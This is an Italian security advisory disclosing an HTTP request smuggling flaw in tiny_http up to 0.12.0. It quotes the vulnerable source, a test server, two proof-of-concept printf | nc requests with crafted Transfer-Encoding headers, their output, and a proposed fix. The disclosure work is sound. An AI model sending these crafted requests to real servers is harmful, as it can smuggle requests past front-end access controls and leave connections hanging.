
Avviso di sicurezza: HTTP Request Smuggling tramite valori Transfer-Encoding non analizzati (tiny_http)
ID CVE assegnato: CVE-2026-66752
tiny_http controlla soltanto se un header Transfer-Encoding è presente. Non esamina mai il valore. Qualsiasi valore, incluse codifiche che non sono chunked ed elenchi di codifiche il cui elemento finale non è chunked, fa sì che il corpo venga decodificato come chunk e Content-Length viene scartato allo stesso tempo.
Un front end che analizza correttamente la codifica di trasferimento inquadrerà tale richiesta in modo diverso da tiny_http. Due partecipanti con due framing sulla stessa connessione sono la precondizione per il request smuggling. L'invio di un corpo non-chunked con una codifica non-chunked fa inoltre fallire a tiny_http la lettura del corpo, che non risponde affatto.
URL del repository: https://github.com/tiny-http/tiny-http
| Interessate | tutte le versioni rilasciate fino alla 0.12.0 inclusa (2022-10-06), la versione attuale |
| Verificate | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| Corretta in | nessuna versione corretta al momento della stesura |
CWE-444 (Inconsistent Interpretation of HTTP Requests).
Punteggio base CVSS 4.0: 6.3 (Medio)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:L/SI:L/SA:N
Un client remoto non autenticato che invia HTTP grezzo. Nessuna credenziale o interazione con l'utente.
Il caso di request smuggling richiede che tiny_http sia posizionato dietro un front end o una CDN che inoltri Transfer-Encoding e Content-Length e applichi correttamente la sezione 6.1 dell'RFC 9112, ossia tratti un elenco di codifiche il cui elemento finale non è chunked come non-chunked e ripieghi su Content-Length. Quel front end e tiny_http non concordano quindi su dove termini il corpo.
Il caso della richiesta senza risposta non richiede nulla oltre alla possibilità di connettersi.
tiny_http-0.12.0/src/request.rs, righe da 143 a 153. L'header viene individuato e clonato, ma il valore viene testato solo per verificarne la presenza:
143 // finding the transfer-encoding header
144 let transfer_encoding = headers
145 .iter()
146 .find(|h: &&Header| h.field.equiv("Transfer-Encoding"))
147 .map(|h| h.value.clone());
148
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
tiny_http-0.12.0/src/request.rs, righe da 218 a 221, applica poi il decodificatore chunked incondizionatamente:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
transfer_encoding è un Option<AsciiString> che contiene il valore grezzo e nulla ne ispeziona mai il contenuto. La sezione 6.1 dell'RFC 9112 richiede che la codifica finale di una richiesta sia chunked e che il server rifiuti altrimenti il messaggio, e la sezione 6.3 richiede di rifiutare una richiesta che porta sia Transfer-Encoding che Content-Length.
Passo 1. Avviare un server che riporti gli header di framing e il corpo letto.
use std::io::Read;
use tiny_http::{Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8005").unwrap();
for mut request in server.incoming_requests() {
let te = request.headers().iter()
.find(|h| h.field.equiv("Transfer-Encoding"))
.map(|h| h.value.as_str().to_string());
let cl = request.headers().iter()
.find(|h| h.field.equiv("Content-Length"))
.map(|h| h.value.as_str().to_string());
let mut body = Vec::new();
let r = request.as_reader().read_to_end(&mut body);
println!("TE={:?} CL={:?} read={:?} body={:?}",
te, cl, r, String::from_utf8_lossy(&body));
let _ = request.respond(Response::from_string("ok"));
}
}
Passo 2. Inviare una richiesta con Transfer-Encoding: identity, un Content-Length corrispondente e un corpo semplice. Qualsiasi front end inquadrerebbe questo corpo come i cinque byte hello.
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: identity\r\nContent-Length: 5\r\n\r\nhello' | nc -w 2 127.0.0.1 8005
Risultato. tiny_http ha decodificato come chunk un corpo che non è chunked, lo ha scartato e non ha inviato alcuna risposta. Il client attende fino al proprio timeout e la connessione viene consumata.
TE=Some("identity") CL=Some("5") read=Err(Custom { kind: InvalidInput, error: DecoderError }) body=""
Passo 3. Inviare un elenco di codifiche il cui elemento finale non è chunked.
printf 'POST / HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked, identity\r\n\r\n5\r\nhello\r\n0\r\n\r\n' | nc -w 2 127.0.0.1 8005
Risultato. tiny_http lo accetta e decodifica come chunked, laddove la sezione 6.1 dell'RFC 9112 richiede il rifiuto:
TE=Some("chunked, identity") CL=None read=Ok(5) body="hello"
Per contrasto, il solo Content-Length e un corretto Transfer-Encoding: chunked si comportano entrambi correttamente e producono body="hello".
Dove tiny_http è posizionato dietro un front end che analizza correttamente le codifiche di trasferimento, i due componenti non concordano su dove termini il corpo della richiesta. L'attaccante sceglie i byte su entrambi i lati di questo disaccordo, che è la configurazione standard per contrabbandare una richiesta oltre il routing e il controllo degli accessi del front end.
Indipendentemente da qualsiasi front end, i passi 2 e 3 mostrano una richiesta banalmente malformata che impegna un worker e non riceve alcuna risposta, quindi il client non può capire che la richiesta è stata rifiutata.
Analizzare Transfer-Encoding come l'elenco separato da virgole che effettivamente è, in src/request.rs attorno alla riga 144:
Richiedere che la codifica finale sia chunked per una richiesta che trasporta un corpo e rifiutare qualsiasi altra codifica con 400 invece di decodificarla come chunk. Rifiutare una richiesta che porta sia Transfer-Encoding che Content-Length, come richiede la sezione 6.3 dell'RFC 9112 per un server che non è un proxy, invece di ignorare silenziosamente Content-Length alla riga 150.
Quando la lettura del corpo fallisce, inviare un 400 invece di abbandonare la richiesta senza una risposta.